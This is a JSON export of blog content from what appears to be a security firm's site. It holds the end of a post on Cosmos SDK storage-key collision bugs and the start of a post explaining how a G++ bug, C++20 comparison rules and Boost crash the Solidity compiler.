"line":13072},[92615,92620,92624,92628,92632,92636,92640,92644,92648],{"type":22,"tag":101,"props":92616,"children":92617},{"style":126},[92618],{"type":27,"value":92619}," values",{"type":22,"tag":101,"props":92621,"children":92622},{"style":120},[92623],{"type":27,"value":2414},{"type":22,"tag":101,"props":92625,"children":92626},{"style":126},[92627],{"type":27,"value":88978},{"type":22,"tag":101,"props":92629,"children":92630},{"style":120},[92631],{"type":27,"value":52954},{"type":22,"tag":101,"props":92633,"children":92634},{"style":126},[92635],{"type":27,"value":89247},{"type":22,"tag":101,"props":92637,"children":92638},{"style":120},[92639],{"type":27,"value":12668},{"type":22,"tag":101,"props":92641,"children":92642},{"style":166},[92643],{"type":27,"value":1511},{"type":22,"tag":101,"props":92645,"children":92646},{"style":126},[92647],{"type":27,"value":11439},{"type":22,"tag":101,"props":92649,"children":92650},{"style":120},[92651],{"type":27,"value":154},{"type":22,"tag":101,"props":92653,"children":92654},{"class":103,"line":13117},[92655,92659,92663,92668,92672,92677],{"type":22,"tag":101,"props":92656,"children":92657},{"style":126},[92658],{"type":27,"value":30949},{"type":22,"tag":101,"props":92660,"children":92661},{"style":120},[92662],{"type":27,"value":19332},{"type":22,"tag":101,"props":92664,"children":92665},{"style":126},[92666],{"type":27,"value":92667},"iterator",{"type":22,"tag":101,"props":92669,"children":92670},{"style":120},[92671],{"type":27,"value":231},{"type":22,"tag":101,"props":92673,"children":92674},{"style":926},[92675],{"type":27,"value":92676},"Value",{"type":22,"tag":101,"props":92678,"children":92679},{"style":120},[92680],{"type":27,"value":7526},{"type":22,"tag":101,"props":92682,"children":92683},{"class":103,"line":13223},[92684],{"type":22,"tag":101,"props":92685,"children":92686},{"style":120},[92687],{"type":27,"value":2398},{"type":22,"tag":101,"props":92689,"children":92690},{"class":103,"line":27496},[92691],{"type":22,"tag":101,"props":92692,"children":92693},{"style":120},[92694],{"type":27,"value":1734},{"type":22,"tag":101,"props":92696,"children":92697},{"class":103,"line":27531},[92698,92702],{"type":22,"tag":101,"props":92699,"children":92700},{"style":3595},[92701],{"type":27,"value":20986},{"type":22,"tag":101,"props":92703,"children":92704},{"style":126},[92705],{"type":27,"value":92706}," values\n",{"type":22,"tag":101,"props":92708,"children":92709},{"class":103,"line":27539},[92710],{"type":22,"tag":101,"props":92711,"children":92712},{"style":120},[92713],{"type":27,"value":188},{"type":22,"tag":23,"props":92715,"children":92716},{},[92717,92719,92725,92726,92732,92734,92739,92741,92746,92748,92753,92755,92761,92763,92769],{"type":27,"value":92718},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":22,"tag":30,"props":92720,"children":92722},{"className":92721},[],[92723],{"type":27,"value":92724},"vaultId = 1",{"type":27,"value":209},{"type":22,"tag":30,"props":92727,"children":92729},{"className":92728},[],[92730],{"type":27,"value":92731},"vaultId = 10",{"type":27,"value":92733}," coexist. If we try to fetch data under ",{"type":22,"tag":30,"props":92735,"children":92737},{"className":92736},[],[92738],{"type":27,"value":92724},{"type":27,"value":92740},", all entries under ",{"type":22,"tag":30,"props":92742,"children":92744},{"className":92743},[],[92745],{"type":27,"value":92731},{"type":27,"value":92747}," will also be returned simply because ",{"type":22,"tag":30,"props":92749,"children":92751},{"className":92750},[],[92752],{"type":27,"value":6813},{"type":27,"value":92754}," is a prefix of ",{"type":22,"tag":30,"props":92756,"children":92758},{"className":92757},[],[92759],{"type":27,"value":92760},"10",{"type":27,"value":92762},". To fix this, we must once again append the ",{"type":22,"tag":30,"props":92764,"children":92766},{"className":92765},[],[92767],{"type":27,"value":92768},"Separator",{"type":27,"value":92770}," to the iterator prefix.",{"type":22,"tag":91,"props":92772,"children":92774},{"code":92773,"language":79671,"meta":7,"className":79672,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[92775],{"type":22,"tag":30,"props":92776,"children":92777},{"__ignoreMap":7},[92778,92805,92817,92870],{"type":22,"tag":101,"props":92779,"children":92780},{"class":103,"line":104},[92781,92785,92789,92793,92797,92801],{"type":22,"tag":101,"props":92782,"children":92783},{"style":126},[92784],{"type":27,"value":7774},{"type":22,"tag":101,"props":92786,"children":92787},{"style":166},[92788],{"type":27,"value":79923},{"type":22,"tag":101,"props":92790,"children":92791},{"style":126},[92792],{"type":27,"value":82148},{"type":22,"tag":101,"props":92794,"children":92795},{"style":120},[92796],{"type":27,"value":231},{"type":22,"tag":101,"props":92798,"children":92799},{"style":926},[92800],{"type":27,"value":91963},{"type":22,"tag":101,"props":92802,"children":92803},{"style":120},[92804],{"type":27,"value":1850},{"type":22,"tag":101,"props":92806,"children":92807},{"class":103,"line":157},[92808,92813],{"type":22,"tag":101,"props":92809,"children":92810},{"style":126},[92811],{"type":27,"value":92812}," kvStore",{"type":22,"tag":101,"props":92814,"children":92815},{"style":120},[92816],{"type":27,"value":179},{"type":22,"tag":101,"props":92818,"children":92819},{"class":103,"line":182},[92820,92825,92829,92833,92837,92842,92846,92850,92854,92858,92862,92866],{"type":22,"tag":101,"props":92821,"children":92822},{"style":126},[92823],{"type":27,"value":92824}," fmt",{"type":22,"tag":101,"props":92826,"children":92827},{"style":120},[92828],{"type":27,"value":231},{"type":22,"tag":101,"props":92830,"children":92831},{"style":926},[92832],{"type":27,"value":88730},{"type":22,"tag":101,"props":92834,"children":92835},{"style":120},[92836],{"type":27,"value":980},{"type":22,"tag":101,"props":92838,"children":92839},{"style":6476},[92840],{"type":27,"value":92841},"\"%s%d%s\"",{"type":22,"tag":101,"props":92843,"children":92844},{"style":120},[92845],{"type":27,"value":758},{"type":22,"tag":101,"props":92847,"children":92848},{"style":126},[92849],{"type":27,"value":92013},{"type":22,"tag":101,"props":92851,"children":92852},{"style":120},[92853],{"type":27,"value":758},{"type":22,"tag":101,"props":92855,"children":92856},{"style":126},[92857],{"type":27,"value":91798},{"type":22,"tag":101,"props":92859,"children":92860},{"style":120},[92861],{"type":27,"value":758},{"type":22,"tag":101,"props":92863,"children":92864},{"style":126},[92865],{"type":27,"value":92129},{"type":22,"tag":101,"props":92867,"children":92868},{"style":120},[92869],{"type":27,"value":1706},{"type":22,"tag":101,"props":92871,"children":92872},{"class":103,"line":367},[92873],{"type":22,"tag":101,"props":92874,"children":92875},{"style":120},[92876],{"type":27,"value":2510},{"type":22,"tag":23,"props":92878,"children":92879},{},[92880,92882,92887],{"type":27,"value":92881},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":22,"tag":30,"props":92883,"children":92885},{"className":92884},[],[92886],{"type":27,"value":88484},{"type":27,"value":92888}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":22,"tag":23,"props":92890,"children":92891},{},[92892],{"type":27,"value":92893},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":22,"tag":1760,"props":92895,"children":92897},{"id":92896},"real-world-examples-5",[92898],{"type":27,"value":80196},{"type":22,"tag":23,"props":92900,"children":92901},{},[92902,92903,92908,92910,92917,92919,92925],{"type":27,"value":2007},{"type":22,"tag":30,"props":92904,"children":92906},{"className":92905},[],[92907],{"type":27,"value":81969},{"type":27,"value":92909}," previously lacked protection against KVStore ",{"type":22,"tag":80,"props":92911,"children":92914},{"href":92912,"rel":92913},"https://github.com/cosmos/cosmos-sdk/pull/9363",[84],[92915],{"type":27,"value":92916},"key collisions",{"type":27,"value":92918},". This prior oversight allowed developers to unintentionally create two ",{"type":22,"tag":30,"props":92920,"children":92922},{"className":92921},[],[92923],{"type":27,"value":92924},"KVStores",{"type":27,"value":92926}," that were not independent of each other.",{"type":22,"tag":23,"props":92928,"children":92929},{},[92930],{"type":22,"tag":80,"props":92931,"children":92934},{"href":92932,"rel":92933},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[84],[92935],{"type":27,"value":80246},{"type":22,"tag":91,"props":92937,"children":92939},{"code":92938,"language":79671,"meta":7,"className":79672,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[92940],{"type":22,"tag":30,"props":92941,"children":92942},{"__ignoreMap":7},[92943,93005,93053,93089,93129,93136,93143,93155],{"type":22,"tag":101,"props":92944,"children":92945},{"class":103,"line":104},[92946,92950,92955,92959,92964,92968,92972,92976,92980,92984,92988,92992,92996,93001],{"type":22,"tag":101,"props":92947,"children":92948},{"style":108},[92949],{"type":27,"value":79807},{"type":22,"tag":101,"props":92951,"children":92952},{"style":926},[92953],{"type":27,"value":92954}," NewKVStoreKeys",{"type":22,"tag":101,"props":92956,"children":92957},{"style":120},[92958],{"type":27,"value":980},{"type":22,"tag":101,"props":92960,"children":92961},{"style":126},[92962],{"type":27,"value":92963},"names",{"type":22,"tag":101,"props":92965,"children":92966},{"style":166},[92967],{"type":27,"value":29297},{"type":22,"tag":101,"props":92969,"children":92970},{"style":114},[92971],{"type":27,"value":33663},{"type":22,"tag":101,"props":92973,"children":92974},{"style":120},[92975],{"type":27,"value":901},{"type":22,"tag":101,"props":92977,"children":92978},{"style":108},[92979],{"type":27,"value":6350},{"type":22,"tag":101,"props":92981,"children":92982},{"style":120},[92983],{"type":27,"value":2414},{"type":22,"tag":101,"props":92985,"children":92986},{"style":114},[92987],{"type":27,"value":33663},{"type":22,"tag":101,"props":92989,"children":92990},{"style":120},[92991],{"type":27,"value":19412},{"type":22,"tag":101,"props":92993,"children":92994},{"style":166},[92995],{"type":27,"value":8615},{"type":22,"tag":101,"props":92997,"children":92998},{"style":114},[92999],{"type":27,"value":93000},"KVStoreKey",{"type":22,"tag":101,"props":93002,"children":93003},{"style":120},[93004],{"type":27,"value":154},{"type":22,"tag":101,"props":93006,"children":93007},{"class":103,"line":157},[93008,93013,93017,93021,93025,93029,93033,93037,93041,93045,93049],{"type":22,"tag":101,"props":93009,"children":93010},{"style":126},[93011],{"type":27,"value":93012}," keys",{"type":22,"tag":101,"props":93014,"children":93015},{"style":166},[93016],{"type":27,"value":79923},{"type":22,"tag":101,"props":93018,"children":93019},{"style":926},[93020],{"type":27,"value":89071},{"type":22,"tag":101,"props":93022,"children":93023},{"style":120},[93024],{"type":27,"value":980},{"type":22,"tag":101,"props":93026,"children":93027},{"style":108},[93028],{"type":27,"value":6350},{"type":22,"tag":101,"props":93030,"children":93031},{"style":120},[93032],{"type":27,"value":2414},{"type":22,"tag":101,"props":93034,"children":93035},{"style":114},[93036],{"type":27,"value":33663},{"type":22,"tag":101,"props":93038,"children":93039},{"style":120},[93040],{"type":27,"value":19412},{"type":22,"tag":101,"props":93042,"children":93043},{"style":166},[93044],{"type":27,"value":8615},{"type":22,"tag":101,"props":93046,"children":93047},{"style":114},[93048],{"type":27,"value":93000},{"type":22,"tag":101,"props":93050,"children":93051},{"style":120},[93052],{"type":27,"value":2510},{"type":22,"tag":101,"props":93054,"children":93055},{"class":103,"line":182},[93056,93060,93064,93068,93072,93076,93080,93085],{"type":22,"tag":101,"props":93057,"children":93058},{"style":3595},[93059],{"type":27,"value":7078},{"type":22,"tag":101,"props":93061,"children":93062},{"style":126},[93063],{"type":27,"value":1501},{"type":22,"tag":101,"props":93065,"children":93066},{"style":120},[93067],{"type":27,"value":758},{"type":22,"tag":101,"props":93069,"children":93070},{"style":126},[93071],{"type":27,"value":52495},{"type":22,"tag":101,"props":93073,"children":93074},{"style":166},[93075],{"type":27,"value":79923},{"type":22,"tag":101,"props":93077,"children":93078},{"style":3595},[93079],{"type":27,"value":80906},{"type":22,"tag":101,"props":93081,"children":93082},{"style":126},[93083],{"type":27,"value":93084}," names",{"type":22,"tag":101,"props":93086,"children":93087},{"style":120},[93088],{"type":27,"value":154},{"type":22,"tag":101,"props":93090,"children":93091},{"class":103,"line":367},[93092,93096,93100,93104,93108,93112,93117,93121,93125],{"type":22,"tag":101,"props":93093,"children":93094},{"style":126},[93095],{"type":27,"value":29329},{"type":22,"tag":101,"props":93097,"children":93098},{"style":120},[93099],{"type":27,"value":2414},{"type":22,"tag":101,"props":93101,"children":93102},{"style":126},[93103],{"type":27,"value":52495},{"type":22,"tag":101,"props":93105,"children":93106},{"style":120},[93107],{"type":27,"value":12668},{"type":22,"tag":101,"props":93109,"children":93110},{"style":166},[93111],{"type":27,"value":1511},{"type":22,"tag":101,"props":93113,"children":93114},{"style":926},[93115],{"type":27,"value":93116}," NewKVStoreKey",{"type":22,"tag":101,"props":93118,"children":93119},{"style":120},[93120],{"type":27,"value":980},{"type":22,"tag":101,"props":93122,"children":93123},{"style":126},[93124],{"type":27,"value":52495},{"type":22,"tag":101,"props":93126,"children":93127},{"style":120},[93128],{"type":27,"value":2510},{"type":22,"tag":101,"props":93130,"children":93131},{"class":103,"line":398},[93132],{"type":22,"tag":101,"props":93133,"children":93134},{"style":120},[93135],{"type":27,"value":1734},{"type":22,"tag":101,"props":93137,"children":93138},{"class":103,"line":428},[93139],{"type":22,"tag":101,"props":93140,"children":93141},{"emptyLinePlaceholder":15},[93142],{"type":27,"value":1581},{"type":22,"tag":101,"props":93144,"children":93145},{"class":103,"line":997},[93146,93150],{"type":22,"tag":101,"props":93147,"children":93148},{"style":3595},[93149],{"type":27,"value":20986},{"type":22,"tag":101,"props":93151,"children":93152},{"style":126},[93153],{"type":27,"value":93154}," keys\n",{"type":22,"tag":101,"props":93156,"children":93157},{"class":103,"line":1032},[93158],{"type":22,"tag":101,"props":93159,"children":93160},{"style":120},[93161],{"type":27,"value":188},{"type":22,"tag":23,"props":93163,"children":93164},{},[93165,93167,93172,93174,93179,93181,93186],{"type":27,"value":93166},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":22,"tag":30,"props":93168,"children":93170},{"className":93169},[],[93171],{"type":27,"value":81969},{"type":27,"value":93173}," will refuse to run if any ",{"type":22,"tag":30,"props":93175,"children":93177},{"className":93176},[],[93178],{"type":27,"value":88484},{"type":27,"value":93180}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":22,"tag":30,"props":93182,"children":93184},{"className":93183},[],[93185],{"type":27,"value":88484},{"type":27,"value":93187}," level.",{"type":22,"tag":23,"props":93189,"children":93190},{},[93191,93193,93200],{"type":27,"value":93192},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":22,"tag":80,"props":93194,"children":93197},{"href":93195,"rel":93196},"https://github.com/cosmos/cosmos-sdk/issues/12661",[84],[93198],{"type":27,"value":93199},"incorrect iterator behavior",{"type":27,"value":231},{"type":22,"tag":23,"props":93202,"children":93203},{},[93204,93206,93213],{"type":27,"value":93205},"Notably, gradual adoption of the ",{"type":22,"tag":80,"props":93207,"children":93210},{"href":93208,"rel":93209},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[84],[93211],{"type":27,"value":93212},"collections",{"type":27,"value":93214}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":22,"tag":53,"props":93216,"children":93217},{"id":6776},[93218],{"type":27,"value":6779},{"type":22,"tag":23,"props":93220,"children":93221},{},[93222],{"type":27,"value":93223},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":22,"tag":23,"props":93225,"children":93226},{},[93227],{"type":27,"value":93228},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":22,"tag":6891,"props":93230,"children":93231},{},[93232],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":93234},[93235,93236,93239,93242,93245,93248,93251,93254],{"id":33014,"depth":157,"text":33017},{"id":79388,"depth":157,"text":79391,"children":93237},[93238],{"id":80193,"depth":182,"text":80196},{"id":80789,"depth":157,"text":80792,"children":93240},[93241],{"id":81438,"depth":182,"text":80196},{"id":81935,"depth":157,"text":81938,"children":93243},[93244],{"id":83235,"depth":182,"text":80196},{"id":84579,"depth":157,"text":84582,"children":93246},[93247],{"id":85117,"depth":182,"text":80196},{"id":86636,"depth":157,"text":86639,"children":93249},[93250],{"id":87516,"depth":182,"text":80196},{"id":88470,"depth":157,"text":88473,"children":93252},[93253],{"id":92896,"depth":182,"text":80196},{"id":6776,"depth":157,"text":6779},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":93259,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":93260,"description":93261,"author":93262,"image":93263,"date":93265,"tags":93266,"isFeatured":15,"onBlogPage":15,"body":93267,"_type":6912,"_id":95976,"_source":6914,"_file":95977,"_stem":95978,"_extension":6917},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":93264,"height":17626,"width":17626},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[8519,33009],{"type":19,"children":93268,"toc":95960},[93269,93274,93411,93416,93421,93426,93431,93544,93549,93554,93559,93599,93612,93617,93635,93640,93643,93649,93663,93676,93681,93694,93699,93711,93724,93729,93732,93738,93744,93801,93806,93812,93826,93861,93869,93877,93897,93903,93908,94348,94356,94400,94405,94413,94421,94460,94465,94473,94478,94481,94487,94493,94518,94530,94557,94590,94595,94598,94604,94623,95141,95154,95172,95195,95206,95211,95314,95319,95324,95338,95343,95419,95437,95442,95445,95451,95463,95475,95815,95820,95838,95843,95846,95852,95857,95875,95895,95898,95904,95923,95926,95930,95935,95946,95951,95956],{"type":22,"tag":23,"props":93270,"children":93271},{},[93272],{"type":27,"value":93273},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":22,"tag":91,"props":93275,"children":93277},{"code":93276,"language":8519,"meta":7,"className":8520,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[93278],{"type":22,"tag":30,"props":93279,"children":93280},{"__ignoreMap":7},[93281,93289,93307,93314,93331,93373,93397,93404],{"type":22,"tag":101,"props":93282,"children":93283},{"class":103,"line":104},[93284],{"type":22,"tag":101,"props":93285,"children":93286},{"style":2215},[93287],{"type":27,"value":93288},"// SPDX-License-Identifier: UNLICENSED\n",{"type":22,"tag":101,"props":93290,"children":93291},{"class":103,"line":157},[93292,93297,93302],{"type":22,"tag":101,"props":93293,"children":93294},{"style":3595},[93295],{"type":27,"value":93296},"pragma",{"type":22,"tag":101,"props":93298,"children":93299},{"style":108},[93300],{"type":27,"value":93301}," solidity",{"type":22,"tag":101,"props":93303,"children":93304},{"style":120},[93305],{"type":27,"value":93306}," ^0.8.25;\n",{"type":22,"tag":101,"props":93308,"children":93309},{"class":103,"line":182},[93310],{"type":22,"tag":101,"props":93311,"children":93312},{"emptyLinePlaceholder":15},[93313],{"type":27,"value":1581},{"type":22,"tag":101,"props":93315,"children":93316},{"class":103,"line":367},[93317,93322,93327],{"type":22,"tag":101,"props":93318,"children":93319},{"style":108},[93320],{"type":27,"value":93321},"contract",{"type":22,"tag":101,"props":93323,"children":93324},{"style":114},[93325],{"type":27,"value":93326}," A",{"type":22,"tag":101,"props":93328,"children":93329},{"style":120},[93330],{"type":27,"value":154},{"type":22,"tag":101,"props":93332,"children":93333},{"class":103,"line":398},[93334,93339,93344,93348,93352,93357,93361,93365,93369],{"type":22,"tag":101,"props":93335,"children":93336},{"style":108},[93337],{"type":27,"value":93338}," function",{"type":22,"tag":101,"props":93340,"children":93341},{"style":926},[93342],{"type":27,"value":93343}," a",{"type":22,"tag":101,"props":93345,"children":93346},{"style":120},[93347],{"type":27,"value":18045},{"type":22,"tag":101,"props":93349,"children":93350},{"style":108},[93351],{"type":27,"value":821},{"type":22,"tag":101,"props":93353,"children":93354},{"style":108},[93355],{"type":27,"value":93356}," pure",{"type":22,"tag":101,"props":93358,"children":93359},{"style":3595},[93360],{"type":27,"value":79500},{"type":22,"tag":101,"props":93362,"children":93363},{"style":120},[93364],{"type":27,"value":3603},{"type":22,"tag":101,"props":93366,"children":93367},{"style":114},[93368],{"type":27,"value":50164},{"type":22,"tag":101,"props":93370,"children":93371},{"style":120},[93372],{"type":27,"value":1463},{"type":22,"tag":101,"props":93374,"children":93375},{"class":103,"line":428},[93376,93380,93384,93389,93393],{"type":22,"tag":101,"props":93377,"children":93378},{"style":3595},[93379],{"type":27,"value":19742},{"type":22,"tag":101,"props":93381,"children":93382},{"style":1544},[93383],{"type":27,"value":3648},{"type":22,"tag":101,"props":93385,"children":93386},{"style":166},[93387],{"type":27,"value":93388}," **",{"type":22,"tag":101,"props":93390,"children":93391},{"style":1544},[93392],{"type":27,"value":11944},{"type":22,"tag":101,"props":93394,"children":93395},{"style":120},[93396],{"type":27,"value":1520},{"type":22,"tag":101,"props":93398,"children":93399},{"class":103,"line":997},[93400],{"type":22,"tag":101,"props":93401,"children":93402},{"style":120},[93403],{"type":27,"value":1734},{"type":22,"tag":101,"props":93405,"children":93406},{"class":103,"line":1032},[93407],{"type":22,"tag":101,"props":93408,"children":93409},{"style":120},[93410],{"type":27,"value":188},{"type":22,"tag":23,"props":93412,"children":93413},{},[93414],{"type":27,"value":93415},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":22,"tag":23,"props":93417,"children":93418},{},[93419],{"type":27,"value":93420},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":22,"tag":23,"props":93422,"children":93423},{},[93424],{"type":27,"value":93425},"And yet, it crashes.",{"type":22,"tag":23,"props":93427,"children":93428},{},[93429],{"type":27,"value":93430},"Another minimal example?",{"type":22,"tag":91,"props":93432,"children":93434},{"code":93433,"language":8519,"meta":7,"className":8520,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[93435],{"type":22,"tag":30,"props":93436,"children":93437},{"__ignoreMap":7},[93438,93445,93460,93467,93482,93509,93530,93537],{"type":22,"tag":101,"props":93439,"children":93440},{"class":103,"line":104},[93441],{"type":22,"tag":101,"props":93442,"children":93443},{"style":2215},[93444],{"type":27,"value":93288},{"type":22,"tag":101,"props":93446,"children":93447},{"class":103,"line":157},[93448,93452,93456],{"type":22,"tag":101,"props":93449,"children":93450},{"style":3595},[93451],{"type":27,"value":93296},{"type":22,"tag":101,"props":93453,"children":93454},{"style":108},[93455],{"type":27,"value":93301},{"type":22,"tag":101,"props":93457,"children":93458},{"style":120},[93459],{"type":27,"value":93306},{"type":22,"tag":101,"props":93461,"children":93462},{"class":103,"line":182},[93463],{"type":22,"tag":101,"props":93464,"children":93465},{"emptyLinePlaceholder":15},[93466],{"type":27,"value":1581},{"type":22,"tag":101,"props":93468,"children":93469},{"class":103,"line":367},[93470,93474,93478],{"type":22,"tag":101,"props":93471,"children":93472},{"style":108},[93473],{"type":27,"value":93321},{"type":22,"tag":101,"props":93475,"children":93476},{"style":114},[93477],{"type":27,"value":93326},{"type":22,"tag":101,"props":93479,"children":93480},{"style":120},[93481],{"type":27,"value":154},{"type":22,"tag":101,"props":93483,"children":93484},{"class":103,"line":398},[93485,93489,93493,93497,93501,93505],{"type":22,"tag":101,"props":93486,"children":93487},{"style":108},[93488],{"type":27,"value":93338},{"type":22,"tag":101,"props":93490,"children":93491},{"style":926},[93492],{"type":27,"value":93343},{"type":22,"tag":101,"props":93494,"children":93495},{"style":120},[93496],{"type":27,"value":18045},{"type":22,"tag":101,"props":93498,"children":93499},{"style":108},[93500],{"type":27,"value":821},{"type":22,"tag":101,"props":93502,"children":93503},{"style":108},[93504],{"type":27,"value":93356},{"type":22,"tag":101,"props":93506,"children":93507},{"style":120},[93508],{"type":27,"value":154},{"type":22,"tag":101,"props":93510,"children":93511},{"class":103,"line":428},[93512,93517,93521,93525],{"type":22,"tag":101,"props":93513,"children":93514},{"style":114},[93515],{"type":27,"value":93516}," uint256",{"type":22,"tag":101,"props":93518,"children":93519},{"style":120},[93520],{"type":27,"value":2414},{"type":22,"tag":101,"props":93522,"children":93523},{"style":1544},[93524],{"type":27,"value":6813},{"type":22,"tag":101,"props":93526,"children":93527},{"style":120},[93528],{"type":27,"value":93529},"] data;\n",{"type":22,"tag":101,"props":93531,"children":93532},{"class":103,"line":997},[93533],{"type":22,"tag":101,"props":93534,"children":93535},{"style":120},[93536],{"type":27,"value":1734},{"type":22,"tag":101,"props":93538,"children":93539},{"class":103,"line":1032},[93540],{"type":22,"tag":101,"props":93541,"children":93542},{"style":120},[93543],{"type":27,"value":188},{"type":22,"tag":23,"props":93545,"children":93546},{},[93547],{"type":27,"value":93548},"Still crashes.",{"type":22,"tag":23,"props":93550,"children":93551},{},[93552],{"type":27,"value":93553},"So what’s going on?",{"type":22,"tag":23,"props":93555,"children":93556},{},[93557],{"type":27,"value":93558},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":22,"tag":91,"props":93560,"children":93562},{"code":93561,"language":33111,"meta":7,"className":33109,"style":7},"if (*lengthValue == 0) { ... }\n",[93563],{"type":22,"tag":30,"props":93564,"children":93565},{"__ignoreMap":7},[93566],{"type":22,"tag":101,"props":93567,"children":93568},{"class":103,"line":104},[93569,93573,93577,93581,93586,93590,93594],{"type":22,"tag":101,"props":93570,"children":93571},{"style":3595},[93572],{"type":27,"value":19578},{"type":22,"tag":101,"props":93574,"children":93575},{"style":120},[93576],{"type":27,"value":3603},{"type":22,"tag":101,"props":93578,"children":93579},{"style":166},[93580],{"type":27,"value":8615},{"type":22,"tag":101,"props":93582,"children":93583},{"style":120},[93584],{"type":27,"value":93585},"lengthValue ",{"type":22,"tag":101,"props":93587,"children":93588},{"style":166},[93589],{"type":27,"value":4340},{"type":22,"tag":101,"props":93591,"children":93592},{"style":1544},[93593],{"type":27,"value":1547},{"type":22,"tag":101,"props":93595,"children":93596},{"style":120},[93597],{"type":27,"value":93598},") { ... }\n",{"type":22,"tag":23,"props":93600,"children":93601},{},[93602,93604,93610],{"type":27,"value":93603},"That single comparison — a ",{"type":22,"tag":30,"props":93605,"children":93607},{"className":93606},[],[93608],{"type":27,"value":93609},"boost::rational",{"type":27,"value":93611}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":22,"tag":23,"props":93613,"children":93614},{},[93615],{"type":27,"value":93616},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":22,"tag":6839,"props":93618,"children":93619},{},[93620,93625,93630],{"type":22,"tag":6832,"props":93621,"children":93622},{},[93623],{"type":27,"value":93624},"A 12-year-old overload resolution bug in G++",{"type":22,"tag":6832,"props":93626,"children":93627},{},[93628],{"type":27,"value":93629},"An outdated symmetric comparison pattern in Boost",{"type":22,"tag":6832,"props":93631,"children":93632},{},[93633],{"type":27,"value":93634},"A subtle but impactful rewrite rule in C++20",{"type":22,"tag":23,"props":93636,"children":93637},{},[93638],{"type":27,"value":93639},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":22,"tag":1398,"props":93641,"children":93642},{},[],{"type":22,"tag":53,"props":93644,"children":93646},{"id":93645},"background-the-setup",[93647],{"type":27,"value":93648},"Background: The Setup",{"type":22,"tag":23,"props":93650,"children":93651},{},[93652,93654,93661],{"type":27,"value":93653},"If you follow the ",{"type":22,"tag":80,"props":93655,"children":93658},{"href":93656,"rel":93657},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[84],[93659],{"type":27,"value":93660},"Solidity build documentation (v0.8.30)",{"type":27,"value":93662},", you'll see it recommends:",{"type":22,"tag":6839,"props":93664,"children":93665},{},[93666,93671],{"type":22,"tag":6832,"props":93667,"children":93668},{},[93669],{"type":27,"value":93670},"Boost ≥ 1.67",{"type":22,"tag":6832,"props":93672,"children":93673},{},[93674],{"type":27,"value":93675},"GCC ≥ 11",{"type":22,"tag":23,"props":93677,"children":93678},{},[93679],{"type":27,"value":93680},"Ubuntu 22.04, for example, ships with:",{"type":22,"tag":6839,"props":93682,"children":93683},{},[93684,93689],{"type":22,"tag":6832,"props":93685,"children":93686},{},[93687],{"type":27,"value":93688},"G++ 11.4.0",{"type":22,"tag":6832,"props":93690,"children":93691},{},[93692],{"type":27,"value":93693},"Boost 1.74.0",{"type":22,"tag":23,"props":93695,"children":93696},{},[93697],{"type":27,"value":93698},"So far, so good.",{"type":22,"tag":23,"props":93700,"children":93701},{},[93702,93704,93709],{"type":27,"value":93703},"However, Solidity enabled ",{"type":22,"tag":9370,"props":93705,"children":93706},{},[93707],{"type":27,"value":93708},"C++20",{"type":27,"value":93710}," in January 2025:",{"type":22,"tag":604,"props":93712,"children":93713},{},[93714],{"type":22,"tag":23,"props":93715,"children":93716},{},[93717],{"type":22,"tag":80,"props":93718,"children":93721},{"href":93719,"rel":93720},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[84],[93722],{"type":27,"value":93723},"Enable C++20 in Solidity",{"type":22,"tag":23,"props":93725,"children":93726},{},[93727],{"type":27,"value":93728},"This wasn't 